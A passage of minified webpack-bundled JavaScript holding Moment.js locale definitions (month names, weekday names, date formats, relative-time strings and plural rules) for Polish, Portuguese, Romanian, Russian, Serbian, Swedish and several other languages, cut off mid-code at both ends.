t="styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień".split("_"),n="stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia".split("_"),r=[/^sty/i,/^lut/i,/^mar/i,/^kwi/i,/^maj/i,/^cze/i,/^lip/i,/^sie/i,/^wrz/i,/^paź/i,/^lis/i,/^gru/i];function i(e){return e%10<5&&e%10>1&&~~(e/10)%10!=1}function a(e,t,n){var r=e+" ";switch(n){case"ss":return r+(i(e)?"sekundy":"sekund");case"m":return t?"minuta":"minutę";case"mm":return r+(i(e)?"minuty":"minut");case"h":return t?"godzina":"godzinę";case"hh":return r+(i(e)?"godziny":"godzin");case"ww":return r+(i(e)?"tygodnie":"tygodni");case"MM":return r+(i(e)?"miesiące":"miesięcy");case"yy":return r+(i(e)?"lata":"lat")}}e.defineLocale("pl",{months:function(e,r){return e?/D MMMM/.test(r)?n[e.month()]:t[e.month()]:t},monthsShort:"sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru".split("_"),monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota".split("_"),weekdaysShort:"ndz_pon_wt_śr_czw_pt_sob".split("_"),weekdaysMin:"Nd_Pn_Wt_Śr_Cz_Pt_So".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Dziś o] LT",nextDay:"[Jutro o] LT",nextWeek:function(){switch(this.day()){case 0:return"[W niedzielę o] LT";case 2:return"[We wtorek o] LT";case 3:return"[W środę o] LT";case 6:return"[W sobotę o] LT";default:return"[W] dddd [o] LT"}},lastDay:"[Wczoraj o] LT",lastWeek:function(){switch(this.day()){case 0:return"[W zeszłą niedzielę o] LT";case 3:return"[W zeszłą środę o] LT";case 6:return"[W zeszłą sobotę o] LT";default:return"[W zeszły] dddd [o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"%s temu",s:"kilka sekund",ss:a,m:a,mm:a,h:a,hh:a,d:"1 dzień",dd:"%d dni",w:"tydzień",ww:a,M:"miesiąc",MM:a,y:"rok",yy:a},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},7971:function(e,t,n){!function(e){"use strict";e.defineLocale("pt-br",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"domingo_segunda-feira_terça-feira_quarta-feira_quinta-feira_sexta-feira_sábado".split("_"),weekdaysShort:"dom_seg_ter_qua_qui_sex_sáb".split("_"),weekdaysMin:"do_2ª_3ª_4ª_5ª_6ª_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY [às] HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY [às] HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"poucos segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",invalidDate:"Data inválida"})}(n(381))},9520:function(e,t,n){!function(e){"use strict";e.defineLocale("pt",{months:"janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro".split("_"),monthsShort:"jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez".split("_"),weekdays:"Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado".split("_"),weekdaysShort:"Dom_Seg_Ter_Qua_Qui_Sex_Sáb".split("_"),weekdaysMin:"Do_2ª_3ª_4ª_5ª_6ª_Sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY HH:mm",LLLL:"dddd, D [de] MMMM [de] YYYY HH:mm"},calendar:{sameDay:"[Hoje às] LT",nextDay:"[Amanhã às] LT",nextWeek:"dddd [às] LT",lastDay:"[Ontem às] LT",lastWeek:function(){return 0===this.day()||6===this.day()?"[Último] dddd [às] LT":"[Última] dddd [às] LT"},sameElse:"L"},relativeTime:{future:"em %s",past:"há %s",s:"segundos",ss:"%d segundos",m:"um minuto",mm:"%d minutos",h:"uma hora",hh:"%d horas",d:"um dia",dd:"%d dias",w:"uma semana",ww:"%d semanas",M:"um mês",MM:"%d meses",y:"um ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},6459:function(e,t,n){!function(e){"use strict";function t(e,t,n){var r=" ";return(e%100>=20||e>=100&&e%100==0)&&(r=" de "),e+r+{ss:"secunde",mm:"minute",hh:"ore",dd:"zile",ww:"săptămâni",MM:"luni",yy:"ani"}[n]}e.defineLocale("ro",{months:"ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie".split("_"),monthsShort:"ian._feb._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"duminică_luni_marți_miercuri_joi_vineri_sâmbătă".split("_"),weekdaysShort:"Dum_Lun_Mar_Mie_Joi_Vin_Sâm".split("_"),weekdaysMin:"Du_Lu_Ma_Mi_Jo_Vi_Sâ".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY H:mm",LLLL:"dddd, D MMMM YYYY H:mm"},calendar:{sameDay:"[azi la] LT",nextDay:"[mâine la] LT",nextWeek:"dddd [la] LT",lastDay:"[ieri la] LT",lastWeek:"[fosta] dddd [la] LT",sameElse:"L"},relativeTime:{future:"peste %s",past:"%s în urmă",s:"câteva secunde",ss:t,m:"un minut",mm:t,h:"o oră",hh:t,d:"o zi",dd:t,w:"o săptămână",ww:t,M:"o lună",MM:t,y:"un an",yy:t},week:{dow:1,doy:7}})}(n(381))},1793:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,r){return"m"===r?n?"минута":"минуту":e+" "+t({ss:n?"секунда_секунды_секунд":"секунду_секунды_секунд",mm:n?"минута_минуты_минут":"минуту_минуты_минут",hh:"час_часа_часов",dd:"день_дня_дней",ww:"неделя_недели_недель",MM:"месяц_месяца_месяцев",yy:"год_года_лет"}[r],+e)}var r=[/^янв/i,/^фев/i,/^мар/i,/^апр/i,/^ма[йя]/i,/^июн/i,/^июл/i,/^авг/i,/^сен/i,/^окт/i,/^ноя/i,/^дек/i];e.defineLocale("ru",{months:{format:"января_февраля_марта_апреля_мая_июня_июля_августа_сентября_октября_ноября_декабря".split("_"),standalone:"январь_февраль_март_апрель_май_июнь_июль_август_сентябрь_октябрь_ноябрь_декабрь".split("_")},monthsShort:{format:"янв._февр._мар._апр._мая_июня_июля_авг._сент._окт._нояб._дек.".split("_"),standalone:"янв._февр._март_апр._май_июнь_июль_авг._сент._окт._нояб._дек.".split("_")},weekdays:{standalone:"воскресенье_понедельник_вторник_среда_четверг_пятница_суббота".split("_"),format:"воскресенье_понедельник_вторник_среду_четверг_пятницу_субботу".split("_"),isFormat:/\[ ?[Вв] ?(?:прошлую|следующую|эту)? ?] ?dddd/},weekdaysShort:"вс_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"вс_пн_вт_ср_чт_пт_сб".split("_"),monthsParse:r,longMonthsParse:r,shortMonthsParse:r,monthsRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsShortRegex:/^(январ[ья]|янв\.?|феврал[ья]|февр?\.?|марта?|мар\.?|апрел[ья]|апр\.?|ма[йя]|июн[ья]|июн\.?|июл[ья]|июл\.?|августа?|авг\.?|сентябр[ья]|сент?\.?|октябр[ья]|окт\.?|ноябр[ья]|нояб?\.?|декабр[ья]|дек\.?)/i,monthsStrictRegex:/^(январ[яь]|феврал[яь]|марта?|апрел[яь]|ма[яй]|июн[яь]|июл[яь]|августа?|сентябр[яь]|октябр[яь]|ноябр[яь]|декабр[яь])/i,monthsShortStrictRegex:/^(янв\.|февр?\.|мар[т.]|апр\.|ма[яй]|июн[ья.]|июл[ья.]|авг\.|сент?\.|окт\.|нояб?\.|дек\.)/i,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY г.",LLL:"D MMMM YYYY г., H:mm",LLLL:"dddd, D MMMM YYYY г., H:mm"},calendar:{sameDay:"[Сегодня, в] LT",nextDay:"[Завтра, в] LT",lastDay:"[Вчера, в] LT",nextWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В следующее] dddd, [в] LT";case 1:case 2:case 4:return"[В следующий] dddd, [в] LT";case 3:case 5:case 6:return"[В следующую] dddd, [в] LT"}},lastWeek:function(e){if(e.week()===this.week())return 2===this.day()?"[Во] dddd, [в] LT":"[В] dddd, [в] LT";switch(this.day()){case 0:return"[В прошлое] dddd, [в] LT";case 1:case 2:case 4:return"[В прошлый] dddd, [в] LT";case 3:case 5:case 6:return"[В прошлую] dddd, [в] LT"}},sameElse:"L"},relativeTime:{future:"через %s",past:"%s назад",s:"несколько секунд",ss:n,m:n,mm:n,h:"час",hh:n,d:"день",dd:n,w:"неделя",ww:n,M:"месяц",MM:n,y:"год",yy:n},meridiemParse:/ночи|утра|дня|вечера/i,isPM:function(e){return/^(дня|вечера)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночи":e<12?"утра":e<17?"дня":"вечера"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го|я)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":return e+"-й";case"D":return e+"-го";case"w":case"W":return e+"-я";default:return e}},week:{dow:1,doy:4}})}(n(381))},950:function(e,t,n){!function(e){"use strict";var t=["جنوري","فيبروري","مارچ","اپريل","مئي","جون","جولاءِ","آگسٽ","سيپٽمبر","آڪٽوبر","نومبر","ڊسمبر"],n=["آچر","سومر","اڱارو","اربع","خميس","جمع","ڇنڇر"];e.defineLocale("sd",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,n){return e<12?"صبح":"شام"},calendar:{sameDay:"[اڄ] LT",nextDay:"[سڀاڻي] LT",nextWeek:"dddd [اڳين هفتي تي] LT",lastDay:"[ڪالهه] LT",lastWeek:"[گزريل هفتي] dddd [تي] LT",sameElse:"L"},relativeTime:{future:"%s پوء",past:"%s اڳ",s:"چند سيڪنڊ",ss:"%d سيڪنڊ",m:"هڪ منٽ",mm:"%d منٽ",h:"هڪ ڪلاڪ",hh:"%d ڪلاڪ",d:"هڪ ڏينهن",dd:"%d ڏينهن",M:"هڪ مهينو",MM:"%d مهينا",y:"هڪ سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(n(381))},490:function(e,t,n){!function(e){"use strict";e.defineLocale("se",{months:"ođđajagemánnu_guovvamánnu_njukčamánnu_cuoŋománnu_miessemánnu_geassemánnu_suoidnemánnu_borgemánnu_čakčamánnu_golggotmánnu_skábmamánnu_juovlamánnu".split("_"),monthsShort:"ođđj_guov_njuk_cuo_mies_geas_suoi_borg_čakč_golg_skáb_juov".split("_"),weekdays:"sotnabeaivi_vuossárga_maŋŋebárga_gaskavahkku_duorastat_bearjadat_lávvardat".split("_"),weekdaysShort:"sotn_vuos_maŋ_gask_duor_bear_láv".split("_"),weekdaysMin:"s_v_m_g_d_b_L".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"MMMM D. [b.] YYYY",LLL:"MMMM D. [b.] YYYY [ti.] HH:mm",LLLL:"dddd, MMMM D. [b.] YYYY [ti.] HH:mm"},calendar:{sameDay:"[otne ti] LT",nextDay:"[ihttin ti] LT",nextWeek:"dddd [ti] LT",lastDay:"[ikte ti] LT",lastWeek:"[ovddit] dddd [ti] LT",sameElse:"L"},relativeTime:{future:"%s geažes",past:"maŋit %s",s:"moadde sekunddat",ss:"%d sekunddat",m:"okta minuhta",mm:"%d minuhtat",h:"okta diimmu",hh:"%d diimmut",d:"okta beaivi",dd:"%d beaivvit",M:"okta mánnu",MM:"%d mánut",y:"okta jahki",yy:"%d jagit"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},124:function(e,t,n){!function(e){"use strict";e.defineLocale("si",{months:"ජනවාරි_පෙබරවාරි_මාර්තු_අප්‍රේල්_මැයි_ජූනි_ජූලි_අගෝස්තු_සැප්තැම්බර්_ඔක්තෝබර්_නොවැම්බර්_දෙසැම්බර්".split("_"),monthsShort:"ජන_පෙබ_මාර්_අප්_මැයි_ජූනි_ජූලි_අගෝ_සැප්_ඔක්_නොවැ_දෙසැ".split("_"),weekdays:"ඉරිදා_සඳුදා_අඟහරුවාදා_බදාදා_බ්‍රහස්පතින්දා_සිකුරාදා_සෙනසුරාදා".split("_"),weekdaysShort:"ඉරි_සඳු_අඟ_බදා_බ්‍රහ_සිකු_සෙන".split("_"),weekdaysMin:"ඉ_ස_අ_බ_බ්‍ර_සි_සෙ".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"a h:mm",LTS:"a h:mm:ss",L:"YYYY/MM/DD",LL:"YYYY MMMM D",LLL:"YYYY MMMM D, a h:mm",LLLL:"YYYY MMMM D [වැනි] dddd, a h:mm:ss"},calendar:{sameDay:"[අද] LT[ට]",nextDay:"[හෙට] LT[ට]",nextWeek:"dddd LT[ට]",lastDay:"[ඊයේ] LT[ට]",lastWeek:"[පසුගිය] dddd LT[ට]",sameElse:"L"},relativeTime:{future:"%sකින්",past:"%sකට පෙර",s:"තත්පර කිහිපය",ss:"තත්පර %d",m:"මිනිත්තුව",mm:"මිනිත්තු %d",h:"පැය",hh:"පැය %d",d:"දිනය",dd:"දින %d",M:"මාසය",MM:"මාස %d",y:"වසර",yy:"වසර %d"},dayOfMonthOrdinalParse:/\d{1,2} වැනි/,ordinal:function(e){return e+" වැනි"},meridiemParse:/පෙර වරු|පස් වරු|පෙ.ව|ප.ව./,isPM:function(e){return"ප.ව."===e||"පස් වරු"===e},meridiem:function(e,t,n){return e>11?n?"ප.ව.":"පස් වරු":n?"පෙ.ව.":"පෙර වරු"}})}(n(381))},4249:function(e,t,n){!function(e){"use strict";var t="január_február_marec_apríl_máj_jún_júl_august_september_október_november_december".split("_"),n="jan_feb_mar_apr_máj_jún_júl_aug_sep_okt_nov_dec".split("_");function r(e){return e>1&&e<5}function i(e,t,n,i){var a=e+" ";switch(n){case"s":return t||i?"pár sekúnd":"pár sekundami";case"ss":return t||i?a+(r(e)?"sekundy":"sekúnd"):a+"sekundami";case"m":return t?"minúta":i?"minútu":"minútou";case"mm":return t||i?a+(r(e)?"minúty":"minút"):a+"minútami";case"h":return t?"hodina":i?"hodinu":"hodinou";case"hh":return t||i?a+(r(e)?"hodiny":"hodín"):a+"hodinami";case"d":return t||i?"deň":"dňom";case"dd":return t||i?a+(r(e)?"dni":"dní"):a+"dňami";case"M":return t||i?"mesiac":"mesiacom";case"MM":return t||i?a+(r(e)?"mesiace":"mesiacov"):a+"mesiacmi";case"y":return t||i?"rok":"rokom";case"yy":return t||i?a+(r(e)?"roky":"rokov"):a+"rokmi"}}e.defineLocale("sk",{months:t,monthsShort:n,weekdays:"nedeľa_pondelok_utorok_streda_štvrtok_piatok_sobota".split("_"),weekdaysShort:"ne_po_ut_st_št_pi_so".split("_"),weekdaysMin:"ne_po_ut_st_št_pi_so".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd D. MMMM YYYY H:mm"},calendar:{sameDay:"[dnes o] LT",nextDay:"[zajtra o] LT",nextWeek:function(){switch(this.day()){case 0:return"[v nedeľu o] LT";case 1:case 2:return"[v] dddd [o] LT";case 3:return"[v stredu o] LT";case 4:return"[vo štvrtok o] LT";case 5:return"[v piatok o] LT";case 6:return"[v sobotu o] LT"}},lastDay:"[včera o] LT",lastWeek:function(){switch(this.day()){case 0:return"[minulú nedeľu o] LT";case 1:case 2:return"[minulý] dddd [o] LT";case 3:return"[minulú stredu o] LT";case 4:case 5:return"[minulý] dddd [o] LT";case 6:return"[minulú sobotu o] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"pred %s",s:i,ss:i,m:i,mm:i,h:i,hh:i,d:i,dd:i,M:i,MM:i,y:i,yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},4985:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i=e+" ";switch(n){case"s":return t||r?"nekaj sekund":"nekaj sekundami";case"ss":return i+=1===e?t?"sekundo":"sekundi":2===e?t||r?"sekundi":"sekundah":e<5?t||r?"sekunde":"sekundah":"sekund";case"m":return t?"ena minuta":"eno minuto";case"mm":return i+=1===e?t?"minuta":"minuto":2===e?t||r?"minuti":"minutama":e<5?t||r?"minute":"minutami":t||r?"minut":"minutami";case"h":return t?"ena ura":"eno uro";case"hh":return i+=1===e?t?"ura":"uro":2===e?t||r?"uri":"urama":e<5?t||r?"ure":"urami":t||r?"ur":"urami";case"d":return t||r?"en dan":"enim dnem";case"dd":return i+=1===e?t||r?"dan":"dnem":2===e?t||r?"dni":"dnevoma":t||r?"dni":"dnevi";case"M":return t||r?"en mesec":"enim mesecem";case"MM":return i+=1===e?t||r?"mesec":"mesecem":2===e?t||r?"meseca":"mesecema":e<5?t||r?"mesece":"meseci":t||r?"mesecev":"meseci";case"y":return t||r?"eno leto":"enim letom";case"yy":return i+=1===e?t||r?"leto":"letom":2===e?t||r?"leti":"letoma":e<5?t||r?"leta":"leti":t||r?"let":"leti"}}e.defineLocale("sl",{months:"januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december".split("_"),monthsShort:"jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota".split("_"),weekdaysShort:"ned._pon._tor._sre._čet._pet._sob.".split("_"),weekdaysMin:"ne_po_to_sr_če_pe_so".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD. MM. YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[danes ob] LT",nextDay:"[jutri ob] LT",nextWeek:function(){switch(this.day()){case 0:return"[v] [nedeljo] [ob] LT";case 3:return"[v] [sredo] [ob] LT";case 6:return"[v] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[v] dddd [ob] LT"}},lastDay:"[včeraj ob] LT",lastWeek:function(){switch(this.day()){case 0:return"[prejšnjo] [nedeljo] [ob] LT";case 3:return"[prejšnjo] [sredo] [ob] LT";case 6:return"[prejšnjo] [soboto] [ob] LT";case 1:case 2:case 4:case 5:return"[prejšnji] dddd [ob] LT"}},sameElse:"L"},relativeTime:{future:"čez %s",past:"pred %s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},1104:function(e,t,n){!function(e){"use strict";e.defineLocale("sq",{months:"Janar_Shkurt_Mars_Prill_Maj_Qershor_Korrik_Gusht_Shtator_Tetor_Nëntor_Dhjetor".split("_"),monthsShort:"Jan_Shk_Mar_Pri_Maj_Qer_Kor_Gus_Sht_Tet_Nën_Dhj".split("_"),weekdays:"E Diel_E Hënë_E Martë_E Mërkurë_E Enjte_E Premte_E Shtunë".split("_"),weekdaysShort:"Die_Hën_Mar_Mër_Enj_Pre_Sht".split("_"),weekdaysMin:"D_H_Ma_Më_E_P_Sh".split("_"),weekdaysParseExact:!0,meridiemParse:/PD|MD/,isPM:function(e){return"M"===e.charAt(0)},meridiem:function(e,t,n){return e<12?"PD":"MD"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Sot në] LT",nextDay:"[Nesër në] LT",nextWeek:"dddd [në] LT",lastDay:"[Dje në] LT",lastWeek:"dddd [e kaluar në] LT",sameElse:"L"},relativeTime:{future:"në %s",past:"%s më parë",s:"disa sekonda",ss:"%d sekonda",m:"një minutë",mm:"%d minuta",h:"një orë",hh:"%d orë",d:"një ditë",dd:"%d ditë",M:"një muaj",MM:"%d muaj",y:"një vit",yy:"%d vite"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},9915:function(e,t,n){!function(e){"use strict";var t={words:{ss:["секунда","секунде","секунди"],m:["један минут","једне минуте"],mm:["минут","минуте","минута"],h:["један сат","једног сата"],hh:["сат","сата","сати"],dd:["дан","дана","дана"],MM:["месец","месеца","месеци"],yy:["година","године","година"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,r){var i=t.words[r];return 1===r.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr-cyrl",{months:"јануар_фебруар_март_април_мај_јун_јул_август_септембар_октобар_новембар_децембар".split("_"),monthsShort:"јан._феб._мар._апр._мај_јун_јул_авг._сеп._окт._нов._дец.".split("_"),monthsParseExact:!0,weekdays:"недеља_понедељак_уторак_среда_четвртак_петак_субота".split("_"),weekdaysShort:"нед._пон._уто._сре._чет._пет._суб.".split("_"),weekdaysMin:"не_по_ут_ср_че_пе_су".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[данас у] LT",nextDay:"[сутра у] LT",nextWeek:function(){switch(this.day()){case 0:return"[у] [недељу] [у] LT";case 3:return"[у] [среду] [у] LT";case 6:return"[у] [суботу] [у] LT";case 1:case 2:case 4:case 5:return"[у] dddd [у] LT"}},lastDay:"[јуче у] LT",lastWeek:function(){return["[прошле] [недеље] [у] LT","[прошлог] [понедељка] [у] LT","[прошлог] [уторка] [у] LT","[прошле] [среде] [у] LT","[прошлог] [четвртка] [у] LT","[прошлог] [петка] [у] LT","[прошле] [суботе] [у] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"за %s",past:"пре %s",s:"неколико секунди",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"дан",dd:t.translate,M:"месец",MM:t.translate,y:"годину",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},9131:function(e,t,n){!function(e){"use strict";var t={words:{ss:["sekunda","sekunde","sekundi"],m:["jedan minut","jedne minute"],mm:["minut","minute","minuta"],h:["jedan sat","jednog sata"],hh:["sat","sata","sati"],dd:["dan","dana","dana"],MM:["mesec","meseca","meseci"],yy:["godina","godine","godina"]},correctGrammaticalCase:function(e,t){return 1===e?t[0]:e>=2&&e<=4?t[1]:t[2]},translate:function(e,n,r){var i=t.words[r];return 1===r.length?n?i[0]:i[1]:e+" "+t.correctGrammaticalCase(e,i)}};e.defineLocale("sr",{months:"januar_februar_mart_april_maj_jun_jul_avgust_septembar_oktobar_novembar_decembar".split("_"),monthsShort:"jan._feb._mar._apr._maj_jun_jul_avg._sep._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"nedelja_ponedeljak_utorak_sreda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sre._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"D. M. YYYY.",LL:"D. MMMM YYYY.",LLL:"D. MMMM YYYY. H:mm",LLLL:"dddd, D. MMMM YYYY. H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedelju] [u] LT";case 3:return"[u] [sredu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[juče u] LT",lastWeek:function(){return["[prošle] [nedelje] [u] LT","[prošlog] [ponedeljka] [u] LT","[prošlog] [utorka] [u] LT","[prošle] [srede] [u] LT","[prošlog] [četvrtka] [u] LT","[prošlog] [petka] [u] LT","[prošle] [subote] [u] LT"][this.day()]},sameElse:"L"},relativeTime:{future:"za %s",past:"pre %s",s:"nekoliko sekundi",ss:t.translate,m:t.translate,mm:t.translate,h:t.translate,hh:t.translate,d:"dan",dd:t.translate,M:"mesec",MM:t.translate,y:"godinu",yy:t.translate},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},5893:function(e,t,n){!function(e){"use strict";e.defineLocale("ss",{months:"Bhimbidvwane_Indlovana_Indlov'lenkhulu_Mabasa_Inkhwekhweti_Inhlaba_Kholwane_Ingci_Inyoni_Imphala_Lweti_Ingongoni".split("_"),monthsShort:"Bhi_Ina_Inu_Mab_Ink_Inh_Kho_Igc_Iny_Imp_Lwe_Igo".split("_"),weekdays:"Lisontfo_Umsombuluko_Lesibili_Lesitsatfu_Lesine_Lesihlanu_Umgcibelo".split("_"),weekdaysShort:"Lis_Umb_Lsb_Les_Lsi_Lsh_Umg".split("_"),weekdaysMin:"Li_Us_Lb_Lt_Ls_Lh_Ug".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Namuhla nga] LT",nextDay:"[Kusasa nga] LT",nextWeek:"dddd [nga] LT",lastDay:"[Itolo nga] LT",lastWeek:"dddd [leliphelile] [nga] LT",sameElse:"L"},relativeTime:{future:"nga %s",past:"wenteka nga %s",s:"emizuzwana lomcane",ss:"%d mzuzwana",m:"umzuzu",mm:"%d emizuzu",h:"lihora",hh:"%d emahora",d:"lilanga",dd:"%d emalanga",M:"inyanga",MM:"%d tinyanga",y:"umnyaka",yy:"%d iminyaka"},meridiemParse:/ekuseni|emini|entsambama|ebusuku/,meridiem:function(e,t,n){return e<11?"ekuseni":e<15?"emini":e<19?"entsambama":"ebusuku"},meridiemHour:function(e,t){return 12===e&&(e=0),"ekuseni"===t?e:"emini"===t?e>=11?e:e+12:"entsambama"===t||"ebusuku"===t?0===e?0:e+12:void 0},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:"%d",week:{dow:1,doy:4}})}(n(381))},8760:function(e,t,n){!function(e){"use strict";e.defineLocale("sv",{months:"januari_februari_mars_april_maj_juni_juli_augusti_september_oktober_november_december".split("_"),monthsShort:"jan_feb_mar_apr_maj_jun_jul_aug_sep_okt_nov_dec".split("_"),weekdays:"söndag_måndag_tisdag_onsdag_torsdag_fredag_lördag".split("_"),weekdaysShort:"sön_mån_tis_ons_tor_fre_lör".split("_"),weekdaysMin:"sö_må_ti_on_to_fr_lö".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [kl.] HH:mm",LLLL:"dddd D MMMM YYYY [kl.] HH:mm",lll:"D MMM YYYY HH:mm",llll:"ddd D MMM YYYY HH:mm"},calendar:{sameDay:"[Idag] LT",nextDay:"[Imorgon] LT",lastDay:"[Igår] LT",nextWeek:"[På] dddd LT",lastWeek:"[I] dddd[s] LT",sameElse:"L"},relativeTime:{future:"om %s",past:"för %s sedan",s:"några sekunder",ss:"%d sekunder",m:"en minut",mm:"%d minuter",h:"en timme",hh:"%d 